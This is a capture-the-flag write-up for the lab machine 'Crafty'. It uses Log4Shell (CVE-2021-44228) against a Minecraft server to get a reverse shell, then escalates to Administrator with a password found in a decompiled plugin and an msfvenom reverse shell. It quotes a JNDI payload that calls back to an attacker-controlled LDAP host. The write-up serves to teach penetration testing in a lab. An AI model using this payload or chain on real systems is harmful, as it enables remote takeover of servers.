Crafty
Created by TheCyberGeek & felamos
Last updated
Was this helpful?
Created by TheCyberGeek & felamos
Last updated
Was this helpful?
The following post by 0xb0b is licensed under CC BY 4.0
We discovered two open ports: 80 and, 25565. Port 80 is running a Microsoft IIS web server hosting a static site called Crafty, while port 25565 is a Minecraft server on version 1.16, which is vulnerable to the Log4Shell RCE vulnerability (CVE-2021-44228). We set up the Log4j-shell-poc exploit from GitHub, downloaded JDK 1.8.0_20 to run the exploit, and used TLauncher to run Minecraft version 1.16.5 and connect to play.crafty.htb. By sending a crafted payload via the Minecraft chat, we gained a reverse shell as the user svc_minecraft. On the desktop of this user, we found the first flag and, upon further enumeration, discovered a plugin containing a cryptic string that turned out to be the Administrator password. Using this password, we executed a reverse shell as Administrator, retrieved the root flag, and achieved full system control.
We start with a Nmap scan and discover two open ports, 80 and 25565. With a subsequent service and default script scan, we see that port 80 is running a Microsoft IIS hosting a website called Crafty. We are dealing with a Windows machine. On 25565, we are dealing with a Minecraft server in version 1.16. This is a very old version; this may be one affected by the RCE vulnerability through Log4J.
The following Gobuster scan of the web server does not reveal any interesting directories.
The site is just static, but might reveal another vhost: play.crafty.htb. Through this, we might be able to connect to the Minecraft server.
We make use of the mcli tool. The mcli is a command-line application that provides a front end for the mctools library. mcli supports all operations offered by mctools in a simple, robust manner. With that, we check on the connection of the Minecraft server. Both vhost seem valid.
After a short search for the version of 1.16.5, we are confronted with several POCs for RCE via Log4J on GitHub - CVE-2021-44228
The Log4j RCE vulnerability, known as Log4Shell, allows attackers to execute arbitrary code on a server by exploiting a flaw in the Log4j library's logging mechanism, where specially crafted log messages can trigger malicious JNDI lookups. This severe flaw impacts many applications and services that use Log4j for logging, posing significant security risks.
This is one of the many. So we might get a foothold with this.
We make use of the following exploit:
We test it first. We also need an executable Minecraft client, but we'll take care of that after we get the exploit running. Furthermore, we see that JDK 1.8.0_20 is missing. This is required by the exploit and must be downloaded separately.
There are many ways to do this; under the following link, there are possibilities to download them without Oracle access.
At the time of the release of the machine, the following path still worked, but unfortunately no longer at the time of the writeup.
We can either create an account with oracle - a ten-minute mail will suffice - and download the jdk-8u20 on the official site...
... or we use the following portal, introduced recently:
After placing the contents of the download JDK into jdk1.8.0_20...
... we are able to successfully launch the POC.
--lport in this case, is the port we expect our connection from our reverse shell.
Since we are dealing with a very old version and we do not have an official Minecraft account, let's make use of TLauncher. Using this Java launcher, we can download the version we need and run it locally without having an account. The versions might differ now. You might also need to start the launcher again after an update.
Select 1.16.5, install the game, and then launch it.
Make a direct connection to play.crafty.htb. Don't forget to update your /etc/hosts file.
Now you need to update the POC first. Since we are dealing with a Windows machine and not a Linux one, replace the content of the variable cmd /bin/sh with cmd.exe.
Now run the exploit again.
The exploit is asking us to send the following payload to trigger the exploit. To do so, we use the chat while in game.
But first, we run a listener on port 9001.
Next, be in the game and press t to open chat. Then paste ${jndi:ldap://<YOUR IP>:1389/a} and send the payload in the chat.
We receive a connection back as svc_minecraft. (The connection to the game time-outs)
On the desktop of the user, we find the first flag.
We check the AV / Defender Protection. Everything is turned off.
While enumerating, we found a plugin.
To find out more, we need to bring this to our machine. Here we had the possibility to use powercat as shown in the following source, which is really interesting:
But this is no longer possible. Another way is to use an SMB server we can set up with impacket. Since the server does not trust SMB without a user and password, we simply set one.
Next, we include the share and copy the plugin to it.
To analyze the Jar, we use the Java Decompiler.
Here we find a rather cryptic string, possibly a password. After we have tried the password for the user Administrator using runascs.exe to execute something on the system, we realize that this is his password.
We prepare a reverse shell exe using msfvenom (defender and co are deactivated).
Next, we get the msfvenom reverse shell exe from our share, set up a listener on our desired port, and use RunasCs.exe to execute it as an administrator.
We get a connection as an administrator and find the root flag on his desktop.
A more boring way would have been to read the flag directly.
